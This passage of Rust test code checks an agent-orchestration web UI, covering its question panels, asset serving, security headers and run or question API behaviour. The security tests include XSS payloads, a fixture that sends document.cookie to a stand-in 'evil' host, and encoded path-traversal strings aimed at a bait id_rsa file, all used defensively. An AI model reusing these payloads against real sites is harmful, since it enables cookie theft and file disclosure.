7129 };
7130 let fresh = beat(ask::WaiterKind::Asker, 1);
7131 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7132 let daemon = beat(ask::WaiterKind::Daemon, 1);
7133 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7134 let stale = beat(ask::WaiterKind::Asker, 3600);
7135 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7136
7137 let mut c = Question::new(
7140 "task".to_owned(),
7141 crate::conduct::NODE.to_owned(),
7142 "conduct".to_owned(),
7143 "which?".to_owned(),
7144 String::new(),
7145 Vec::new(),
7146 );
7147 assert_eq!(holder_of(&c, None), Some("nobody"));
7148 c.cwd = Some("/tmp".to_owned());
7149 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7150 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7151 let deputy = beat(ask::WaiterKind::Deputy, 1);
7152 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7153 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7154
7155 let mut r = Question::new(
7157 String::new(),
7158 crate::bump::NOTICE_NODE.to_owned(),
7159 "release-watch".to_owned(),
7160 "stuck?".to_owned(),
7161 String::new(),
7162 vec!["hold".to_owned()],
7163 );
7164 assert_eq!(holder_of(&r, None), Some("nobody"));
7165 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7166 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7167 r.deputy = None;
7169 r.seat = "bump".to_owned();
7170 assert_eq!(holder_of(&r, None), None);
7171
7172 let mut m = Question::new(
7175 "run".to_owned(),
7176 crate::land::APPROVAL_NODE.to_owned(),
7177 "land".to_owned(),
7178 "merge?".to_owned(),
7179 String::new(),
7180 Vec::new(),
7181 );
7182 assert_eq!(holder_of(&m, None), Some("nobody"));
7183 assert_eq!(
7184 holder_of(&m, Some(&fresh)),
7185 Some("nobody"),
7186 "a lease with no deputy is not a listener"
7187 );
7188 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7189 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7190 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7191 assert_eq!(holder_of(&m, None), Some("nobody"));
7192 }
7193
7194 fn stub_config() -> Config {
7195 Config {
7198 agents: vec![crate::config::AgentSpec {
7199 id: "stub".to_owned(),
7200 kind: AgentKind::Command,
7201 model: None,
7202 command: vec!["true".to_owned()],
7203 extra_args: Vec::new(),
7204 env: Default::default(),
7205 prompt_delivery: None,
7206 }],
7207 ..Config::default()
7208 }
7209 }
7210
7211 fn plain_question(seat: &str) -> Question {
7212 Question::new(
7213 String::new(),
7214 "n".to_owned(),
7215 seat.to_owned(),
7216 "s".to_owned(),
7217 String::new(),
7218 Vec::new(),
7219 )
7220 }
7221
7222 #[test]
7223 fn deputies_enabled_follows_the_config() {
7224 let on = stub_config();
7225 assert!(crate::deputy::can_start(Some(&on), ""));
7226 assert!(crate::deputy::can_start(Some(&on), "stub"));
7227 let mut off = on.clone();
7228 off.daemon.max_deputies = 0;
7229 assert!(!crate::deputy::can_start(Some(&off), ""));
7230 let mut empty = on;
7231 empty.agents.clear();
7232 assert!(!crate::deputy::can_start(Some(&empty), ""));
7233 assert!(!crate::deputy::can_start(None, ""));
7234 }
7235
7236 #[test]
7237 fn question_views_load_the_config_once() {
7238 let dir = TempDir::new().unwrap();
7239 let store = ask::Questions::at(dir.path().to_path_buf());
7240 let mut with_deputy = plain_question("b");
7241 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7242 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7243
7244 let calls = std::cell::Cell::new(0usize);
7245 let views = question_views(qs.clone(), &store, || {
7246 calls.set(calls.get() + 1);
7247 Some(stub_config())
7248 });
7249 assert_eq!(calls.get(), 1);
7250 assert_eq!(views.len(), 3);
7251 for (v, q) in views.iter().zip(&qs) {
7252 assert_eq!(
7253 v.deputies_enabled,
7254 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7255 );
7256 }
7257
7258 let views = question_views(qs, &store, || None);
7259 assert!(views.iter().all(|v| !v.deputies_enabled));
7260
7261 let calls = std::cell::Cell::new(0usize);
7262 let views = question_views(Vec::new(), &store, || {
7263 calls.set(calls.get() + 1);
7264 None
7265 });
7266 assert!(views.is_empty());
7267 assert_eq!(calls.get(), 0);
7268 }
7269
7270 use pretty_assertions::assert_eq;
7271 use serde_json::Value;
7272 use tempfile::TempDir;
7273 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7274
7275 use super::*;
7276 use crate::config::Config;
7277 use crate::queue::Source;
7278
7279 const SETTLE_STEPS: usize = 3_000;
7290
7291 struct Fixture {
7297 home: TempDir,
7298 addr: SocketAddr,
7299 }
7300
7301 impl Fixture {
7302 async fn start() -> Self {
7303 Self::with_loop(launch_idle).await
7304 }
7305
7306 async fn with_loop(launch: Launch) -> Self {
7308 let home = TempDir::new().expect("temp home");
7309 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7310 Self { home, addr }
7311 }
7312
7313 async fn with_repo(repo: PathBuf) -> Self {
7317 let home = TempDir::new().expect("temp home");
7318 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7319 Self { home, addr }
7320 }
7321
7322 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7325 let home = TempDir::new().expect("temp home");
7326 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7327 Self { home, addr }
7328 }
7329
7330 async fn serve(
7331 home: &FsPath,
7332 repo: PathBuf,
7333 launch: Launch,
7334 machine: Option<PathBuf>,
7335 ) -> SocketAddr {
7336 let queue = Queue::at(home.join("queue"));
7337 let runs = home.join("runs");
7338 std::fs::create_dir_all(&runs).expect("runs dir");
7339 let worktrees = home.join("wt").join("magi");
7340 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7341 let ui = Ui::new(
7342 queue,
7343 Questions::at(home.join("questions")),
7344 Talks::at(home.join("talks")),
7345 runs,
7346 home.to_path_buf(),
7347 repo,
7348 )
7349 .with_worktrees_root(worktrees)
7350 .with_machine_config(machine)
7351 .with_launch(launch);
7352 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7353 .await
7354 .expect("bind loopback");
7355 let addr = listener.local_addr().expect("local addr");
7356 tokio::spawn(async move {
7357 let _ = axum::serve(listener, ui.router()).await;
7358 });
7359 addr
7360 }
7361
7362 fn queue(&self) -> Queue {
7363 Queue::at(self.home.path().join("queue"))
7364 }
7365
7366 fn questions(&self) -> Questions {
7367 Questions::at(self.home.path().join("questions"))
7368 }
7369
7370 fn talks(&self) -> Talks {
7371 Talks::at(self.home.path().join("talks"))
7372 }
7373
7374 fn runs(&self) -> PathBuf {
7375 self.home.path().join("runs")
7376 }
7377
7378 async fn get(&self, path: &str) -> Res {
7379 request(self.addr, "GET", path, None).await
7380 }
7381
7382 async fn head(&self, path: &str) -> Res {
7387 request(self.addr, "HEAD", path, None).await
7388 }
7389
7390 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7391 request(self.addr, "POST", path, body).await
7392 }
7393
7394 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7395 request_with(self.addr, "GET", path, None, extra).await
7396 }
7397
7398 async fn delete(&self, path: &str) -> Res {
7399 request(self.addr, "DELETE", path, None).await
7400 }
7401
7402 async fn put(&self, path: &str, body: &str) -> Res {
7403 request(self.addr, "PUT", path, Some(body)).await
7404 }
7405
7406 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7408 request_bytes(self.addr, path, headers, body).await
7409 }
7410 }
7411
7412 struct Res {
7413 status: u16,
7414 headers: String,
7415 head: String,
7420 body: String,
7421 bytes: Vec<u8>,
7425 }
7426
7427 impl Res {
7428 fn json(&self) -> Value {
7429 serde_json::from_str(&self.body)
7430 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7431 }
7432
7433 fn header(&self, name: &str) -> Option<&str> {
7435 self.head.lines().find_map(|line| {
7436 let (key, value) = line.split_once(':')?;
7437 key.trim()
7438 .eq_ignore_ascii_case(name)
7439 .then(|| value.trim_start().trim_end_matches('\r'))
7440 })
7441 }
7442 }
7443
7444 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7447 request_with(addr, method, path, body, &[]).await
7448 }
7449
7450 async fn request_with(
7454 addr: SocketAddr,
7455 method: &str,
7456 path: &str,
7457 body: Option<&str>,
7458 extra: &[(&str, &str)],
7459 ) -> Res {
7460 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7461 for (name, value) in extra {
7462 head.push_str(&format!("{name}: {value}\r\n"));
7463 }
7464 if let Some(body) = body {
7465 head.push_str("Content-Type: application/json\r\n");
7466 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7467 }
7468 head.push_str("\r\n");
7469 if let Some(body) = body {
7470 head.push_str(body);
7471 }
7472 let mut socket = tokio::net::TcpStream::connect(addr)
7473 .await
7474 .expect("connect to the test server");
7475 socket
7476 .write_all(head.as_bytes())
7477 .await
7478 .expect("write request");
7479 let mut raw = Vec::new();
7480 socket.read_to_end(&mut raw).await.expect("read response");
7481 let split = raw
7484 .windows(4)
7485 .position(|w| w == b"\r\n\r\n")
7486 .expect("a header block");
7487 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7488 let bytes = raw[split + 4..].to_vec();
7489 let status = head
7490 .lines()
7491 .next()
7492 .and_then(|line| line.split_whitespace().nth(1))
7493 .and_then(|code| code.parse().ok())
7494 .expect("a status line");
7495 Res {
7496 status,
7497 headers: head.to_lowercase(),
7498 head,
7499 body: String::from_utf8_lossy(&bytes).into_owned(),
7500 bytes,
7501 }
7502 }
7503
7504 async fn request_bytes(
7510 addr: SocketAddr,
7511 path: &str,
7512 headers: &[(&str, &str)],
7513 body: &[u8],
7514 ) -> Res {
7515 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7516 for (name, value) in headers {
7517 head.push_str(&format!("{name}: {value}\r\n"));
7518 }
7519 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7520 let mut socket = tokio::net::TcpStream::connect(addr)
7521 .await
7522 .expect("connect to the test server");
7523 socket
7524 .write_all(head.as_bytes())
7525 .await
7526 .expect("write request head");
7527 socket.write_all(body).await.expect("write request body");
7528 let mut raw = Vec::new();
7529 socket.read_to_end(&mut raw).await.expect("read response");
7530 let split = raw
7531 .windows(4)
7532 .position(|w| w == b"\r\n\r\n")
7533 .expect("a header block");
7534 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7535 let bytes = raw[split + 4..].to_vec();
7536 let status = head
7537 .lines()
7538 .next()
7539 .and_then(|line| line.split_whitespace().nth(1))
7540 .and_then(|code| code.parse().ok())
7541 .expect("a status line");
7542 Res {
7543 status,
7544 headers: head.to_lowercase(),
7545 head,
7546 body: String::from_utf8_lossy(&bytes).into_owned(),
7547 bytes,
7548 }
7549 }
7550
7551 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7553 let mut state = RunState::new(
7554 PathBuf::from("/repo/magi"),
7555 "main".to_owned(),
7556 "0123456789abcdef".to_owned(),
7557 "Add a web UI\n\nMobile first.".to_owned(),
7558 Config::default(),
7559 );
7560 state.id = id.to_owned();
7561 state.status = status;
7562 let dir = runs.join(id);
7563 std::fs::create_dir_all(&dir).expect("run dir");
7564 std::fs::write(
7565 dir.join("run.json"),
7566 serde_json::to_string_pretty(&state).expect("serialize run"),
7567 )
7568 .expect("write run.json");
7569 }
7570
7571 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7575 let mut state = RunState::new(
7576 PathBuf::from(repo),
7577 "main".to_owned(),
7578 "0123456789abcdef".to_owned(),
7579 "task".to_owned(),
7580 Config::default(),
7581 );
7582 state.id = id.to_owned();
7583 state.status = status;
7584 let dir = runs.join(id);
7585 std::fs::create_dir_all(&dir).expect("run dir");
7586 std::fs::write(
7587 dir.join("run.json"),
7588 serde_json::to_string_pretty(&state).expect("serialize run"),
7589 )
7590 .expect("write run.json");
7591 }
7592
7593 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7594 let body = serde_json::json!({
7595 "schema": 1,
7596 "pid": 4242,
7597 "started_at": Timestamp::now().to_string(),
7598 "updated_at": updated_at.to_string(),
7599 "idle": false,
7600 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7601 "completed": 7,
7602 "polls": 143,
7603 });
7604 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7605 }
7606
7607 fn launch_idle(
7617 _opts: daemon::Opts,
7618 stop: daemon::Stop,
7619 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7620 Box::pin(async move {
7621 while !stop.stopped() {
7622 tokio::time::sleep(Duration::from_millis(2)).await;
7623 }
7624 Ok(())
7625 })
7626 }
7627
7628 fn launch_broken(
7631 _opts: daemon::Opts,
7632 _stop: daemon::Stop,
7633 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7634 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
7639 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
7640 Box::pin(async move {
7641 Err(anyhow::anyhow!(if first {
7642 "publish the daemon status file: read-only file system"
7643 } else {
7644 "the restarted stand-in failed as well"
7645 }))
7646 })
7647 }
7648
7649 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7656 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7657
7658 fn launch_knocking_on_the_way_out(
7665 _opts: daemon::Opts,
7666 stop: daemon::Stop,
7667 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7668 Box::pin(async move {
7669 while !stop.stopped() {
7670 tokio::time::sleep(Duration::from_millis(2)).await;
7671 }
7672 let addr = PARK_KNOCK
7673 .lock()
7674 .expect("park knock")
7675 .expect("the test set an address");
7676 let heard = request(addr, "GET", "/api/health", None).await.status;
7677 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7678 Ok(())
7679 })
7680 }
7681
7682 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7691 for _ in 0..SETTLE_STEPS {
7692 let view = fx.get("/api/loop").await.json();
7693 if want(&view) {
7694 return view;
7695 }
7696 tokio::time::sleep(Duration::from_millis(10)).await;
7697 }
7698 panic!(
7699 "the loop never settled: {}",
7700 fx.get("/api/loop").await.json()
7701 );
7702 }
7703
7704 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7706 let store = fx.questions();
7707 let mut q = Question::new(
7708 "20260902-000000-beef".to_owned(),
7709 "implement".to_owned(),
7710 "impl-A".to_owned(),
7711 summary.to_owned(),
7712 "because it matters".to_owned(),
7713 choices.iter().map(|c| (*c).to_owned()).collect(),
7714 );
7715 store.put(&mut q).expect("put question");
7716 q.id
7717 }
7718
7719 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7725 let store = fx.questions();
7726 let mut q = Question::new(
7727 "20260902-000000-beef".to_owned(),
7728 "land".to_owned(),
7729 "fix".to_owned(),
7730 "Merge this?".to_owned(),
7731 "the diff is in the panel".to_owned(),
7732 vec!["merge".to_owned(), "hold".to_owned()],
7733 );
7734 let staging = fx.home.path().join("staging");
7737 std::fs::create_dir_all(&staging).expect("staging dir");
7738 let sources: Vec<PathBuf> = assets
7739 .iter()
7740 .map(|(name, bytes)| {
7741 let path = staging.join(name);
7742 std::fs::write(&path, bytes).expect("write staged asset");
7743 path
7744 })
7745 .collect();
7746 store
7747 .put_panel(&mut q, html, &sources)
7748 .expect("write the panel");
7749 store.put(&mut q).expect("put question");
7750 q.id
7751 }
7752
7753 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7762 seed_talk_at(&fx.talks(), id, status)
7763 }
7764
7765 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7766 std::fs::create_dir_all(store.root()).expect("talks dir");
7767 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7768 .expect("serialize a seat");
7769 let body = serde_json::json!({
7770 "schema": 1,
7771 "id": id,
7772 "repo": "/repo/magi",
7773 "agent": "mock",
7774 "status": status,
7775 "turns": [],
7776 "created_at": Timestamp::now().to_string(),
7777 "updated_at": Timestamp::now().to_string(),
7778 "seat": seat,
7779 });
7780 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7781 store.get(id).expect("the seeded talk has to be readable");
7782 id.to_owned()
7783 }
7784
7785 #[tokio::test]
7786 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7787 let fx = Fixture::start().await;
7788 let id = panel(
7789 &fx,
7790 "<h1>Merge?</h1><img src=\"diff.svg\">",
7791 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7792 );
7793
7794 for path in [
7795 format!("/api/questions/{id}/panel"),
7796 format!("/api/questions/{id}/asset/diff.svg"),
7797 ] {
7798 let res = fx.get(&path).await;
7799 assert_eq!(res.status, 200, "{path}: {}", res.body);
7800 assert_eq!(
7806 res.header("content-security-policy"),
7807 Some(
7808 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7809 font-src data:; base-uri 'none'; form-action 'none'; \
7810 frame-ancestors 'self'"
7811 ),
7812 "{path} is the only thing between a hostile panel and the tailnet"
7813 );
7814 assert_eq!(
7815 res.header("x-content-type-options"),
7816 Some("nosniff"),
7817 "{path}: a browser must not re-decide the type we sent"
7818 );
7819 assert_eq!(
7820 res.header("referrer-policy"),
7821 Some("no-referrer"),
7822 "{path}: a panel must not leak the question id off the machine"
7823 );
7824
7825 let pre = fx.head(&path).await;
7830 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7831 assert_eq!(
7832 pre.header("content-security-policy"),
7833 res.header("content-security-policy"),
7834 "{path}: the preflight carries the same policy"
7835 );
7836 assert_eq!(
7837 pre.header("content-type"),
7838 res.header("content-type"),
7839 "{path}: the preflight carries the same type"
7840 );
7841 }
7842 }
7843
7844 #[tokio::test]
7845 async fn a_panel_reaches_the_browser_byte_for_byte() {
7846 let fx = Fixture::start().await;
7847 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7852 let id = panel(&fx, html, &[]);
7853
7854 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7855
7856 assert_eq!(res.status, 200);
7857 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7858 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7859 assert_eq!(
7860 res.header("content-disposition"),
7861 None,
7862 "the panel itself is rendered in the frame, not downloaded"
7863 );
7864 }
7865
7866 #[tokio::test]
7867 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7868 let fx = Fixture::start().await;
7869 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7870 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7871 let id = panel(
7872 &fx,
7873 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7874 &[("diff.svg", svg), ("shot.png", png)],
7875 );
7876
7877 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7878 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7879
7880 assert_eq!(as_svg.status, 200);
7881 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7882 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7887
7888 assert_eq!(as_png.status, 200);
7889 assert_eq!(as_png.header("content-type"), Some("image/png"));
7890 assert_eq!(
7891 as_png.header("content-disposition"),
7892 None,
7893 "a raster image has no execution surface, so tapping it still shows it"
7894 );
7895 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7896 }
7897
7898 #[tokio::test]
7899 async fn an_html_asset_is_never_served_as_html() {
7900 let fx = Fixture::start().await;
7901 let id = panel(
7902 &fx,
7903 "<p>see the notes</p>",
7904 &[
7905 (
7906 "notes.html",
7907 b"<script>fetch('http://evil/'+document.cookie)</script>",
7908 ),
7909 ("hook.js", b"fetch('http://evil/')"),
7910 ("data.json", b"{}"),
7911 ("HEADLINE.TXT", b"plain"),
7912 ],
7913 );
7914
7915 for name in ["notes.html", "hook.js", "data.json"] {
7916 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7917 assert_eq!(res.status, 200, "{name}: {}", res.body);
7918 assert_eq!(
7923 res.header("content-type"),
7924 Some("application/octet-stream"),
7925 "{name} must not be a type the browser will execute or render"
7926 );
7927 }
7928 let txt = fx
7931 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7932 .await;
7933 assert_eq!(
7934 txt.header("content-type"),
7935 Some("text/plain; charset=utf-8")
7936 );
7937 }
7938
7939 #[tokio::test]
7940 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7941 let fx = Fixture::start().await;
7942 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7943 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7947
7948 for encoded in [
7955 "%2e%2e%2fid_rsa",
7956 "..%2fid_rsa",
7957 "..%5cid_rsa",
7958 "%2e%2e%5cid_rsa",
7959 "diff%00.svg",
7960 "..",
7961 ".hidden",
7962 "%2e%2e%2f%2e%2e%2fid_rsa",
7963 ] {
7964 let res = fx
7965 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7966 .await;
7967 assert_eq!(
7968 res.status, 400,
7969 "`{encoded}` has to be refused by name, not looked up: {}",
7970 res.body
7971 );
7972 assert!(res.json()["error"].is_string(), "{}", res.body);
7973 }
7974
7975 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7981 let res = fx
7982 .get(&format!("/api/questions/{id}/asset/{literal}"))
7983 .await;
7984 assert_eq!(
7985 res.status, 404,
7986 "`{literal}` must not match the asset route at all: {}",
7987 res.body
7988 );
7989 }
7990 }
7991
7992 #[tokio::test]
7993 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7994 let fx = Fixture::start().await;
7995 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7996 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7997
7998 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8002 assert_eq!(none.status, 404, "{}", none.body);
8003 assert!(none.json()["error"].is_string(), "{}", none.body);
8004 assert_eq!(
8005 fx.head(&format!("/api/questions/{plain}/panel"))
8006 .await
8007 .status,
8008 404,
8009 "the preflight is the only way the client can learn this"
8010 );
8011
8012 let missing = fx
8014 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8015 .await;
8016 assert_eq!(missing.status, 404, "{}", missing.body);
8017 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8018
8019 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8021 assert_eq!(
8022 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8023 404
8024 );
8025 }
8026
8027 #[tokio::test]
8028 async fn a_run_with_an_open_question_reads_as_waiting() {
8029 let fx = Fixture::start().await;
8030 let run = "20260902-000000-beef".to_owned();
8031 write_run(&fx.runs(), &run, RunStatus::Implementing);
8032
8033 let before = fx.get("/api/runs").await.json();
8034 assert_eq!(before[0]["waiting"], false, "{before}");
8035
8036 let store = fx.questions();
8037 let mut q = Question::new(
8038 run.clone(),
8039 "implement".to_owned(),
8040 "impl-A".to_owned(),
8041 "Which backend?".to_owned(),
8042 String::new(),
8043 vec!["SQLite".to_owned()],
8044 );
8045 store.put(&mut q).expect("put");
8046
8047 let during = fx.get("/api/runs").await.json();
8048 assert_eq!(during[0]["waiting"], true, "{during}");
8049
8050 q.answer(Answer::Choice("SQLite".to_owned()))
8053 .expect("answer");
8054 store.put(&mut q).expect("put");
8055 let after = fx.get("/api/runs").await.json();
8056 assert_eq!(after[0]["waiting"], false, "{after}");
8057 }
8058
8059 #[tokio::test]
8060 async fn an_open_question_is_listed_and_counted_by_health() {
8061 let fx = Fixture::start().await;
8062 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8063
8064 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8065 let listed = fx.get("/api/questions").await.json();
8066 assert_eq!(listed.as_array().expect("array").len(), 1);
8067 assert_eq!(listed[0]["id"], id);
8068 assert_eq!(listed[0]["status"], "open");
8069 assert_eq!(listed[0]["choices"][1], "Redis");
8070 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8073 }
8074
8075 #[tokio::test]
8076 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8077 let fx = Fixture::start().await;
8078 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8079 let path = format!("/api/questions/{id}/answer");
8080
8081 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8082 assert_eq!(res.status, 200, "{}", res.body);
8083 let body = res.json();
8084 assert_eq!(body["status"], "answered");
8085 assert_eq!(body["answer"]["choice"], "Redis");
8086
8087 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8091 assert_eq!(again.status, 409, "{}", again.body);
8092 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8093 }
8094
8095 #[tokio::test]
8096 async fn saying_something_appends_a_turn_without_answering() {
8097 let fx = Fixture::start().await;
8098 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8099 let path = format!("/api/questions/{id}/say");
8100
8101 let res = fx
8102 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8103 .await;
8104 assert_eq!(res.status, 200, "{}", res.body);
8105 let body = res.json();
8106 assert_eq!(body["status"], "open", "talking back is not a decision");
8107 assert_eq!(body["answer"], Value::Null);
8108 assert_eq!(body["thread"][0]["who"], "operator");
8109 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8110 assert_eq!(body["waiting_on_agent"], true);
8111 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8113 }
8114
8115 #[tokio::test]
8116 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8117 let fx = Fixture::start().await;
8118 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8119
8120 let list = fx.get("/api/questions").await.json();
8121 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8122
8123 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8124 assert_eq!(res.status, 409, "{}", res.body);
8125 let q = fx.questions().get(&id).unwrap();
8126 assert!(q.status.open());
8127 assert!(q.consult.is_none());
8128 }
8129
8130 #[tokio::test]
8131 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8132 let fx = Fixture::start().await;
8133 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8134 let cfg = Config {
8135 agents: vec![crate::config::AgentSpec {
8136 id: "mock".to_owned(),
8137 kind: crate::config::AgentKind::Command,
8138 model: None,
8139 command: vec!["true".to_owned()],
8140 extra_args: Vec::new(),
8141 env: Default::default(),
8142 prompt_delivery: None,
8143 }],
8144 ..Config::default()
8145 };
8146 let talk = crate::talk::begin(
8147 &fx.talks(),
8148 &cfg,
8149 fx.home.path().to_path_buf(),
8150 Some("mock"),
8151 )
8152 .unwrap();
8153 let mut task = Task::new(
8154 "t".to_owned(),
8155 "Do it".to_owned(),
8156 PathBuf::from("/repo/magi"),
8157 Source::Agent {
8158 run: talk.id.clone(),
8159 node: crate::queue::CHAT_NODE.to_owned(),
8160 },
8161 );
8162 task.start("20260902-000000-beef".to_owned());
8163 fx.queue().put(&mut task).unwrap();
8164
8165 let list = fx.get("/api/questions").await.json();
8166 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8167 assert_eq!(
8168 list[0]["choices"],
8169 serde_json::json!(["SQLite", "Redis"]),
8170 "the hand-over is never a choice"
8171 );
8172 fx.questions()
8173 .update(&id, |q| {
8174 q.node = crate::land::APPROVAL_NODE.into();
8175 q.choices = vec!["merge".into(), "hold".into()];
8176 Ok(())
8177 })
8178 .unwrap();
8179 let list = fx.get("/api/questions").await.json();
8180 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8181 let _ = id;
8182 }
8183
8184 #[tokio::test]
8185 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8186 let fx = Fixture::start().await;
8187 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8188 fx.questions()
8189 .update(&id, |q| {
8190 q.node = crate::land::APPROVAL_NODE.into();
8191 q.choices = vec!["merge".into(), "hold".into()];
8192 Ok(())
8193 })
8194 .unwrap();
8195 let cfg = Config {
8196 agents: vec![crate::config::AgentSpec {
8197 id: "mock".to_owned(),
8198 kind: crate::config::AgentKind::Command,
8199 model: None,
8200 command: vec!["true".to_owned()],
8201 extra_args: Vec::new(),
8202 env: Default::default(),
8203 prompt_delivery: None,
8204 }],
8205 ..Config::default()
8206 };
8207 let repo = fx.home.path().join("chat-repo");
8209 std::fs::create_dir_all(&repo).unwrap();
8210 let toml = repo.join("magi.toml");
8211 std::fs::write(&toml, "this is = = not toml").unwrap();
8212 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8213 let mut task = Task::new(
8214 "t".to_owned(),
8215 "Do it".to_owned(),
8216 PathBuf::from("/repo/magi"),
8217 Source::Agent {
8218 run: talk.id.clone(),
8219 node: crate::queue::CHAT_NODE.to_owned(),
8220 },
8221 );
